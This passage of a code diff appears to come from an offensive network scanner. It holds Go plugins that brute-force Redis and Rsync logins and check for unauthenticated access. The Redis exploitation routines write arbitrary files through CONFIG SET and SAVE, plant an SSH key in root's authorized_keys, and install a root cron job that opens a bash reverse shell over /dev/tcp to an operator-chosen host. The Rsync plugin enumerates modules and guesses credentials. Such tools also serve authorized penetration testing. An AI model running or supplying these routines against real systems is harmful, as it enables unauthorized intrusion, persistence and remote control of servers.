|
||||
// Scan 执行Redis扫描
|
||||
func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
// 如果禁用暴力破解,只做服务识别
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 首先检查未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("redis_unauth_success", target)) //nolint:govet
|
||||
|
||||
// 如果需要利用,重新建立连接执行
|
||||
if p.shouldExploit(config) {
|
||||
p.exploitWithPassword(ctx, info, "", config)
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// 生成测试凭据
|
||||
credentials := GenerateCredentials("redis", config)
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
testConfig.Concurrency = 20 // Redis 默认并发度更高
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "redis", testConfig)
|
||||
|
||||
// 如果成功,记录并执行利用
|
||||
if result.Success {
|
||||
common.LogSuccess(i18n.Tr("redis_scan_success", target, result.Password)) //nolint:govet
|
||||
|
||||
// 如果需要利用,重新建立连接执行
|
||||
if p.shouldExploit(config) {
|
||||
p.exploitWithPassword(ctx, info, result.Password, config)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建Redis认证函数
|
||||
func (p *RedisPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doRedisAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doRedisAuth 执行Redis认证
|
||||
func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
timeout := config.Timeout
|
||||
|
||||
// 建立TCP连接
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyRedisErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 如果有密码,进行认证
|
||||
if cred.Password != "" {
|
||||
authCmd := fmt.Sprintf("AUTH %s\r\n", cred.Password)
|
||||
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil {
|
||||
_ = conn.Close()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: writeErr,
|
||||
}
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
response := make([]byte, 512)
|
||||
n, readErr := conn.Read(response)
|
||||
if readErr != nil {
|
||||
_ = conn.Close()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: readErr,
|
||||
}
|
||||
}
|
||||
|
||||
responseStr := string(response[:n])
|
||||
if !strings.Contains(responseStr, "+OK") {
|
||||
_ = conn.Close()
|
||||
errType := ErrorTypeUnknown
|
||||
if strings.Contains(responseStr, "WRONGPASS") ||
|
||||
strings.Contains(responseStr, "invalid password") ||
|
||||
strings.Contains(responseStr, "ERR AUTH") ||
|
||||
strings.Contains(responseStr, "NOAUTH") {
|
||||
errType = ErrorTypeAuth
|
||||
}
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: errType,
|
||||
Error: fmt.Errorf("redis认证失败: %s", strings.TrimSpace(responseStr)),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 发送PING命令测试连接
|
||||
pingCmd := "PING\r\n"
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, pingWriteErr := conn.Write([]byte(pingCmd)); pingWriteErr != nil {
|
||||
_ = conn.Close()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: pingWriteErr,
|
||||
}
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
response := make([]byte, 512)
|
||||
n, pingReadErr := conn.Read(response)
|
||||
if pingReadErr != nil {
|
||||
_ = conn.Close()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: pingReadErr,
|
||||
}
|
||||
}
|
||||
|
||||
responseStr := string(response[:n])
|
||||
if !strings.Contains(responseStr, "PONG") {
|
||||
_ = conn.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: fmt.Errorf("redis PING测试失败: %s", strings.TrimSpace(responseStr)),
|
||||
}
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: conn,
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// classifyRedisErrorType Redis错误分类
|
||||
func classifyRedisErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
redisAuthErrors := []string{
|
||||
"wrongpass",
|
||||
"invalid password",
|
||||
"err auth",
|
||||
"noauth authentication required",
|
||||
"认证失败",
|
||||
}
|
||||
|
||||
return ClassifyError(err, redisAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试未授权访问
|
||||
func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
emptyCred := Credential{Username: "", Password: ""}
|
||||
|
||||
result := p.doRedisAuth(ctx, info, emptyCred, config, state)
|
||||
if result.Success {
|
||||
if result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "redis",
|
||||
VulInfo: "未授权访问",
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// exploitWithPassword 使用指定密码建立连接并执行利用
|
||||
func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.HostInfo, password string, config *common.Config) {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("redis_reconnect_failed", err))
|
||||
return
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
// 如果有密码,先认证
|
||||
if password != "" {
|
||||
authCmd := fmt.Sprintf("AUTH %s\r\n", password)
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(config.Timeout))
|
||||
if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil {
|
||||
return
|
||||
}
|
||||
_ = conn.SetReadDeadline(time.Now().Add(config.Timeout))
|
||||
response := make([]byte, 512)
|
||||
if _, readErr := conn.Read(response); readErr != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
p.exploit(ctx, info, conn, password, config)
|
||||
}
|
||||
|
||||
// identifyService 服务识别
|
||||
func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
timeout := config.Timeout
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "redis",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
// 发送PING命令识别
|
||||
pingCmd := "PING\r\n"
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, writeErr := conn.Write([]byte(pingCmd)); writeErr != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "redis",
|
||||
Error: writeErr,
|
||||
}
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
response := make([]byte, 512)
|
||||
n, readErr := conn.Read(response)
|
||||
if readErr != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "redis",
|
||||
Error: readErr,
|
||||
}
|
||||
}
|
||||
|
||||
responseStr := string(response[:n])
|
||||
var banner string
|
||||
|
||||
if strings.Contains(responseStr, "PONG") {
|
||||
banner = "Redis服务 (PONG响应)"
|
||||
} else if strings.Contains(responseStr, "-NOAUTH") {
|
||||
banner = "Redis服务 (需要认证)"
|
||||
} else if strings.Contains(responseStr, "-ERR") {
|
||||
banner = "Redis服务 (协议响应)"
|
||||
} else {
|
||||
banner = "Redis服务"
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
common.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "redis",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Redis利用核心函数
|
||||
// =============================================================================
|
||||
|
||||
// shouldExploit 判断是否需要执行利用
|
||||
func (p *RedisPlugin) shouldExploit(config *common.Config) bool {
|
||||
return !config.Redis.Disabled &&
|
||||
(config.Redis.File != "" ||
|
||||
config.Redis.Shell != "" ||
|
||||
(config.Redis.WritePath != "" &&
|
||||
(config.Redis.WriteContent != "" || config.Redis.WriteFile != "")))
|
||||
}
|
||||
|
||||
// exploit 执行Redis漏洞利用
|
||||
func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn net.Conn, password string, config *common.Config) {
|
||||
if config.Redis.Disabled {
|
||||
return
|
||||
}
|
||||
|
||||
_ = conn.SetDeadline(time.Time{})
|
||||
|
||||
dbfilename, dir, err := p.getConfig(conn)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("redis_config_failed", err))
|
||||
return
|
||||
}
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
// 任意文件写入
|
||||
if config.Redis.WritePath != "" && config.Redis.WriteContent != "" {
|
||||
dirPath := path.Dir(config.Redis.WritePath)
|
||||
fileName := path.Base(config.Redis.WritePath)
|
||||
|
||||
if success, _, writeErr := p.writeCustomFile(conn, dirPath, fileName, config.Redis.WriteContent); writeErr != nil {
|
||||
common.LogError(i18n.Tr("redis_write_failed", writeErr))
|
||||
} else if success {
|
||||
common.LogSuccess(i18n.Tr("redis_write_success", config.Redis.WritePath))
|
||||
}
|
||||
}
|
||||
|
||||
// 从本地文件读取并写入
|
||||
if config.Redis.WritePath != "" && config.Redis.WriteFile != "" {
|
||||
fileContent, readErr := os.ReadFile(config.Redis.WriteFile)
|
||||
if readErr != nil {
|
||||
common.LogError(i18n.Tr("redis_read_failed", readErr))
|
||||
} else {
|
||||
dirPath := path.Dir(config.Redis.WritePath)
|
||||
fileName := path.Base(config.Redis.WritePath)
|
||||
|
||||
if success, _, writeErr := p.writeCustomFile(conn, dirPath, fileName, string(fileContent)); writeErr != nil {
|
||||
common.LogError(i18n.Tr("redis_write_failed", writeErr))
|
||||
} else if success {
|
||||
common.LogSuccess(i18n.Tr("redis_file_write_success", config.Redis.WriteFile, config.Redis.WritePath))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// SSH密钥写入
|
||||
if config.Redis.File != "" {
|
||||
if success, _, keyErr := p.writeKey(conn, config.Redis.File); keyErr != nil {
|
||||
common.LogError(i18n.Tr("redis_ssh_key_failed", keyErr))
|
||||
} else if success {
|
||||
common.LogSuccess(i18n.GetText("redis_ssh_key_success"))
|
||||
}
|
||||
}
|
||||
|
||||
// 定时任务写入
|
||||
if config.Redis.Shell != "" {
|
||||
if success, _, cronErr := p.writeCron(conn, config.Redis.Shell); cronErr != nil {
|
||||
common.LogError(i18n.Tr("redis_cron_failed", cronErr))
|
||||
} else if success {
|
||||
common.LogSuccess(i18n.GetText("redis_cron_success"))
|
||||
}
|
||||
}
|
||||
|
||||
// 恢复配置
|
||||
if err = p.recoverDB(dbfilename, dir, conn); err != nil {
|
||||
common.LogError(i18n.Tr("redis_restore_failed", err))
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Redis利用辅助函数
|
||||
// =============================================================================
|
||||
|
||||
func (p *RedisPlugin) readReply(conn net.Conn) (string, error) {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(time.Second))
|
||||
bytes, err := io.ReadAll(conn)
|
||||
if len(bytes) > 0 {
|
||||
err = nil
|
||||
}
|
||||
return string(bytes), err
|
||||
}
|
||||
|
||||
// sendCmd 发送Redis命令并检查OK响应
|
||||
// 返回响应文本、是否成功、错误
|
||||
func (p *RedisPlugin) sendCmd(conn net.Conn, cmd string) (text string, ok bool, err error) {
|
||||
if _, err = conn.Write([]byte(cmd)); err != nil {
|
||||
return "", false, err
|
||||
}
|
||||
text, err = p.readReply(conn)
|
||||
if err != nil {
|
||||
return text, false, err
|
||||
}
|
||||
return text, strings.Contains(text, "OK"), nil
|
||||
}
|
||||
|
||||
func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
||||
if _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")); err != nil {
|
||||
return
|
||||
}
|
||||
text, err := p.readReply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
text1 := strings.Split(text, "\r\n")
|
||||
if len(text1) > 2 {
|
||||
dbfilename = text1[len(text1)-2]
|
||||
} else {
|
||||
dbfilename = text1[0]
|
||||
}
|
||||
|
||||
if _, err = conn.Write([]byte("CONFIG GET dir\r\n")); err != nil {
|
||||
return
|
||||
}
|
||||
text, err = p.readReply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
text1 = strings.Split(text, "\r\n")
|
||||
if len(text1) > 2 {
|
||||
dir = text1[len(text1)-2]
|
||||
} else {
|
||||
dir = text1[0]
|
||||
}
|
||||
|
||||
exploitPaths := []string{"/root/.ssh", "/var/spool/cron", "/var/www/html", "/tmp"}
|
||||
for _, exploitPath := range exploitPaths {
|
||||
if strings.HasPrefix(dir, exploitPath) {
|
||||
dir = "/data"
|
||||
dbfilename = "dump.rdb"
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func (p *RedisPlugin) recoverDB(dbfilename string, dir string, conn net.Conn) (err error) {
|
||||
if _, err = fmt.Fprintf(conn, "CONFIG SET dbfilename %s\r\n", dbfilename); err != nil {
|
||||
return
|
||||
}
|
||||
if _, err = p.readReply(conn); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if _, err = fmt.Fprintf(conn, "CONFIG SET dir %s\r\n", dir); err != nil {
|
||||
return
|
||||
}
|
||||
if _, err = p.readReply(conn); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func (p *RedisPlugin) readFile(filename string) (string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer func() { _ = file.Close() }()
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
return text, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func (p *RedisPlugin) writeCustomFile(conn net.Conn, dirPath, fileName, content string) (flag bool, text string, err error) {
|
||||
// 设置目录
|
||||
text, ok, err := p.sendCmd(conn, fmt.Sprintf("CONFIG SET dir %s\r\n", dirPath))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 设置文件名
|
||||
text, ok, err = p.sendCmd(conn, fmt.Sprintf("CONFIG SET dbfilename %s\r\n", fileName))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 写入内容
|
||||
safeContent := strings.ReplaceAll(content, "\"", "\\\"")
|
||||
safeContent = strings.ReplaceAll(safeContent, "\n", "\\n")
|
||||
text, ok, err = p.sendCmd(conn, fmt.Sprintf("set x \"%s\"\r\n", safeContent))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 保存
|
||||
text, ok, err = p.sendCmd(conn, "save\r\n")
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
return true, p.truncateText(text), nil
|
||||
}
|
||||
|
||||
// truncateText 截断文本到50字符
|
||||
func (p *RedisPlugin) truncateText(text string) string {
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
return text[:50]
|
||||
}
|
||||
return text
|
||||
}
|
||||
|
||||
func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
||||
// 设置目录
|
||||
text, ok, err := p.sendCmd(conn, "CONFIG SET dir /root/.ssh/\r\n")
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 设置文件名
|
||||
text, ok, err = p.sendCmd(conn, "CONFIG SET dbfilename authorized_keys\r\n")
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 读取密钥文件
|
||||
key, err := p.readFile(filename)
|
||||
if err != nil {
|
||||
return false, fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err), err
|
||||
}
|
||||
if len(key) == 0 {
|
||||
return false, fmt.Sprintf("密钥文件 %s 为空", filename), nil
|
||||
}
|
||||
|
||||
// 写入密钥
|
||||
text, ok, err = p.sendCmd(conn, fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 保存
|
||||
text, ok, err = p.sendCmd(conn, "save\r\n")
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
return true, p.truncateText(text), nil
|
||||
}
|
||||
|
||||
func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
// 尝试设置cron目录(两个可能的路径)
|
||||
text, ok, err := p.sendCmd(conn, "CONFIG SET dir /var/spool/cron/crontabs/\r\n")
|
||||
if err != nil {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
if !ok {
|
||||
// 尝试备用路径
|
||||
text, ok, err = p.sendCmd(conn, "CONFIG SET dir /var/spool/cron/\r\n")
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
}
|
||||
|
||||
// 设置文件名
|
||||
text, ok, err = p.sendCmd(conn, "CONFIG SET dbfilename root\r\n")
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 解析目标地址
|
||||
target := strings.Split(host, ":")
|
||||
if len(target) < 2 {
|
||||
return false, "主机地址格式错误", nil
|
||||
}
|
||||
scanIp, scanPort := target[0], target[1]
|
||||
|
||||
// 写入cron任务
|
||||
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)
|
||||
text, ok, err = p.sendCmd(conn, cronCmd)
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 保存
|
||||
text, ok, err = p.sendCmd(conn, "save\r\n")
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
return true, p.truncateText(text), nil
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("redis", func() Plugin {
|
||||
return NewRedisPlugin()
|
||||
}, []int{6379, 6380, 6381, 16379, 26379})
|
||||
}
|
||||
@@ -0,0 +1,401 @@
|
||||
//go:build (plugin_rsync || !plugin_selective) && go1.21
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
"go.ciq.dev/go-rsync/rsync"
|
||||
)
|
||||
|
||||
// RsyncPlugin Rsync扫描插件
|
||||
type RsyncPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewRsyncPlugin() *RsyncPlugin {
|
||||
return &RsyncPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("rsync"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
var findings []string
|
||||
|
||||
// 检测未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("rsync_service", target, result.Banner))
|
||||
findings = append(findings, result.Banner)
|
||||
}
|
||||
|
||||
// 生成密码字典
|
||||
credentials := plugins.GenerateCredentials("rsync", config)
|
||||
if len(credentials) == 0 {
|
||||
if len(findings) > 0 {
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "rsync",
|
||||
Banner: findings[0],
|
||||
}
|
||||
}
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rsync",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 转换凭据类型
|
||||
creds := make([]Credential, len(credentials))
|
||||
for i, c := range credentials {
|
||||
creds[i] = Credential{Username: c.Username, Password: c.Password}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, creds, authFn, "rsync", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogSuccess(i18n.Tr("rsync_credential", target, result.Username, result.Password))
|
||||
return result
|
||||
}
|
||||
|
||||
// 如果暴力破解失败但有未授权访问发现,返回该结果
|
||||
if len(findings) > 0 {
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "rsync",
|
||||
Banner: findings[0],
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rsync",
|
||||
}
|
||||
}
|
||||
|
||||
// createAuthFunc 创建Rsync认证函数
|
||||
func (p *RsyncPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doRsyncAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doRsyncAuth 执行Rsync认证
|
||||
func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
// 先获取可用模块列表
|
||||
conn := p.connectToRsync(ctx, info, config, state)
|
||||
if conn == nil {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: fmt.Errorf("无法连接到Rsync服务"),
|
||||
}
|
||||
}
|
||||
modules := p.getModules(conn, config)
|
||||
_ = conn.Close()
|
||||
|
||||
if len(modules) == 0 {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: fmt.Errorf("无法获取模块列表"),
|
||||
}
|
||||
}
|
||||
|
||||
// 提取第一个模块名
|
||||
firstModuleLine := modules[0]
|
||||
firstModule := strings.Fields(firstModuleLine)[0]
|
||||
|
||||
// 使用 go-rsync 库进行认证测试
|
||||
address := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
dummyFS := &dummyStorage{}
|
||||
|
||||
_, err := rsync.SocketClient(
|
||||
dummyFS,
|
||||
address,
|
||||
firstModule,
|
||||
"/",
|
||||
rsync.WithClientAuth(cred.Username, cred.Password),
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
errMsg := err.Error()
|
||||
if common.ContainsAny(errMsg, "auth", "password") {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyRsyncErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &rsyncConnWrapper{},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// rsyncConnWrapper 包装Rsync连接以实现io.Closer
|
||||
type rsyncConnWrapper struct{}
|
||||
|
||||
func (w *rsyncConnWrapper) Close() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// dummyStorage 空的 FS 实现,用于认证测试
|
||||
type dummyStorage struct{}
|
||||
|
||||
func (d *dummyStorage) Put(fileName string, content io.Reader, fileSize int64, metadata rsync.FileMetadata) (written int64, err error) {
|
||||
return 0, fmt.Errorf("not implemented")
|
||||
}
|
||||
|
||||
func (d *dummyStorage) Delete(fileName string, mode rsync.FileMode) error {
|
||||
return fmt.Errorf("not implemented")
|
||||
}
|
||||
|
||||
func (d *dummyStorage) List() (rsync.FileList, error) {
|
||||
return nil, fmt.Errorf("not implemented")
|
||||
}
|
||||
|
||||
// classifyRsyncErrorType Rsync错误分类
|
||||
func classifyRsyncErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
rsyncAuthErrors := []string{
|
||||
"auth",
|
||||
"password",
|
||||
"authentication failed",
|
||||
"access denied",
|
||||
"unauthorized",
|
||||
"invalid credentials",
|
||||
}
|
||||
|
||||
return ClassifyError(err, rsyncAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试未授权访问
|
||||
func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
conn := p.connectToRsync(ctx, info, config, state)
|
||||
if conn == nil {
|
||||
return nil
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
modules := p.getModules(conn, config)
|
||||
|
||||
if len(modules) > 0 {
|
||||
banner := fmt.Sprintf("未授权访问 - 可用模块: %s", strings.Join(modules, ", "))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "rsync",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// connectToRsync 连接到Rsync服务
|
||||
func (p *RsyncPlugin) connectToRsync(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) net.Conn {
|
||||
target := info.Target()
|
||||
|
||||
connChan := make(chan net.Conn, 1)
|
||||
|
||||
go func() {
|
||||
timeout := config.Timeout
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
connChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
_ = conn.SetDeadline(time.Now().Add(timeout))
|
||||
connChan <- conn
|
||||
}()
|
||||
|
||||
select {
|
||||
case conn := <-connChan:
|
||||
return conn
|
||||
case <-ctx.Done():
|
||||
// context 被取消,启动清理协程等待并关闭可能创建的连接
|
||||
go func() {
|
||||
conn := <-connChan
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// getModules 获取Rsync模块列表
|
||||
func (p *RsyncPlugin) getModules(conn net.Conn, config *common.Config) []string {
|
||||
timeout := config.Timeout
|
||||
|
||||
// 读取服务器版本
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
versionBuf := make([]byte, 256)
|
||||
n, err := conn.Read(versionBuf)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
_ = string(versionBuf[:n])
|
||||
|
||||
// 回复客户端版本
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, err := conn.Write([]byte("@RSYNCD: 31.0\n")); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 发送模块列表请求
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, err := conn.Write([]byte("\n")); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
scanner := bufio.NewScanner(conn)
|
||||
|
||||
var modules []string
|
||||
hasError := false
|
||||
|
||||
